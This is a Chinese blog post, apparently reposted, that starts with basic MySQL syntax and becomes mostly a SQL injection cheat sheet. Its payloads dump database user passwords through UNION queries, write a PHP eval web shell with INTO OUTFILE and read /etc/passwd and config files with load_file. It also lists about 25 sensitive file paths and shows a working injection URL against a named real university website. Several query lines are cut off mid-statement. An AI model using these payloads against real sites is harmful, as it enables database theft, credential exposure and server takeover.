mysql基础语法及拓展到web中的sql注入

mysql基础语法及拓展到web中的sql注入

http://www.cnblogs.com/diligenceday/p/4321877.html

  本来是想写下javaweb的mvc(tomcat, spring, mysql)的搭建,  昨天搭到凌晨3点, 谁知道jdbcTemplate的jar包不好使, 想死的心都有了, 想想还是休息一下, 所以复习一下mysql的基本语法,因为以前对web的安全比较熟悉, 看过好多黑客防线以及黑客X档案, 黑锅几家网吧,你懂的, o(^▽^)o, 所以拓展一下web安全, 常见web注入的方式, 以及找的两篇资料;

  首先复习一下基本的增删改查:

运行下面代码

复制代码
//从Users表中删除User为admin的字段;
delete from Users where User="admin"

//将Users表中User为root的字段的Password改为11111
update Users set Password=111111 where User=’root’

//新建一个teacher表 ,表包含了一个自增的id,名字,地址和入园时间(....)
create table teacher
(
id int(3) auto_increment not null primary key,
name char(10) not null,
address varchar(50) default ‘深圳',
year date
)

//为表teacher增加一条记录;
insert into teacher values('','allen','大连一中','1976-10-10');

//查询tacher表中的所有记录; select这个是最常用的, 后面可以添加各种条件,匹配合适的记录,
/*
包括 and between  ** to **; 
where **
order by **
group by  ** having
left join on **;
union **
limit等各种语法;
*/
select * from teacher;
复制代码

  

  数据库注入式一种很老的技术了, 数据库是一个企业或者一个网站的灵魂, 如果你数据库被恶意更改了, 那么我们就没有咪咪(>^ω^<)了, 网上也常听说XXX网站被黑了, 爆了各种密码,爆了各种开房信息有木有啊, *度都被黑过呢 , 还听说企鹅帝国里面大部分人都是搞防黑,搞安全的;

  刚刚写了一个servlet的DEMO :

  正常的代码如下,我们会获取参数,然后通过jdbc进行数据库查询;

 

  如果我们传的参数是这样的:http://localhost:8080/test4/ann.do?arg=1' union select count(*) from testOrders or '1'='1;

  合并起来的sql语句就变成了这样, 这就产生了注入漏洞

  我所知道的数据库包括mysql, mssql, oracle, 以及不温不火的mongodb....,操作到头来都只有增删改查, 我就说下mysql, mysql用的人多啊;

  version(), database(),user()这几个相当于全局变量 , 在数据库中直接select version()就会返回对应的数据库版本信息;

  要判断一个网站是否存在注入可以手工判断, 常见的方式是构造:

运行下面代码

复制代码
1=1 and 1=2
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
 
复制代码

 

  如果服务器没有进行防注入过滤的话,sql语句会变成这样: select * from orders where 1=1 and 1=2 and 1=1; 

  亦可以这样, 不准还能返回对应的数据库信息;

运行下面代码

  and 1=2 union all select version() /*

  and 1=2 union all select database() /*

  and 1=2 union all select user() /*

 

  //这个可以判断数据库的版本是否为数字5开头
  select * from db where 1 = 1 and mid(version(),1,1)=5

  //通过union查询可以获取数据库的版本信息, 当然了, union查询要求字段一定匹配;
  select * from orders union select 1,version() from orders

  //确定查询的字段数,如果返回成功, 那么union会成功;
  select * from orders union select 1,1 from orders

  //通过在where后面添加and ord(mid(version(),1,1))<50 判断数据库的版本号
  select * from db where 1 = 1 and ord(mid(version(),1,1))<50

  //这个可以查询到当前的用户信息(比如root)
  select * from orders union select database(),user() from orders

  //返回用户数
  select * from orders where 1=1 and 1=2 union select 1,count(*) from mysql.user

  //获取用户名为root的密码;
  select * from orders where 1=1 and 1=2 union select 1,Password from mysql.user where User='root'

  //根据当前字段数获取information_schema中保存所有数据库信息
  select * from orders where 1=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA

  //information_schema.TABLES这个字段保存的是mysql的表信息
  select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES limit 1,100

  //获取world这个数据库的表结构, 当然, 你首先爆数据库名;
  select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='world' limit 1,100

  //获取字段, 要知道数据库和表的名字,就可以获取字段的名字了
  select * from orders where 1=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'ci  //尼玛啊, 哟了root这个是直接爆密码的节奏啊;

  select * from orders where 1=1 and 1=2 union select User,Password from mysql.use

  //如果略显无聊, 我们可以利用;insert into orders(name) values('hehe');增加自己想要的字段;

  select * from orders where 1=1 ;insert into orders(name) values('hehe');

  //我们可以把查询出来的数据保存,当然了,你要知道保存的目录.... 就是传jsp, asp, php小马, 小马传大马, 大马传木马, 然后就呵呵了( ̄▽ ̄)"
  select user from mysql.user where 1=1 into outfile 'e:/sql.txt';

 

  //o(^▽^)o,下面是转载的,防忘记,转载自

  暴字段长度
    order by num/*

  匹配字段
    and 1=1 union select 1,2,3,4,5…….n/*

  暴字段位置
    and 1=2 union select 1,2,3,4,5…..n/*

  利用内置函数暴数据库信息
    version() database() user()

  不用猜解可用字段暴数据库信息(有些网站不适用):

    and 1=2 union all select version() /*
    and 1=2 union all select database() /*
    and 1=2 union all select user() /*

  操作系统信息:
    and 1=2 union all select @@global.version_compile_os from mysql.user /*

  数据库权限:
    and ord(mid(user(),1,1))=114 /* 返回正常说明为root

  暴库 (mysql>5.0)

  Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
    and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

  猜表
    and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

  猜字段
    and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

  暴密码
  and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

  高级用法(一个可用字段显示两个数据内容):
    Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

  直接写马(Root权限)
  条件:1、知道站点物理路径
       2、有足够大的权限(可以用select …. from mysql.user测试)
       3、magic_quotes_gpc()=OFF
    select ‘<?php eval($_POST[cmd])?>’ into outfile ‘物理路径’
    and 1=2 union all select 一句话HEX值 into outfile '路径'

  //利用load_file可以读取文件信息, 权限要是root;
    select LOAD_FILE('e:/sql.txt') ; 话说我这个获取根本不是string文件啊, 是blob, 谁知道怎么办嘛....

  load_file() 常用路径:

运行下面代码

复制代码
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini
复制代码

  

  网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
  注:
    Char(60)表示 <
    Char(32)表示 空格

  手工注射时出现的问题:
  当注射后页面显示:
    Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
    如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
    这是由于前后编码不一致造成的,
    解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
    http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

    gropu by 语句的使用

    利用group by 爆数据库字段, 我这个5.x版本无效了, 应该是4或者3版本才有这漏洞....

      SQL注入备忘单

        注入

    注入的实例

    jb51的mysql基本资料 打开

天道酬勤
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值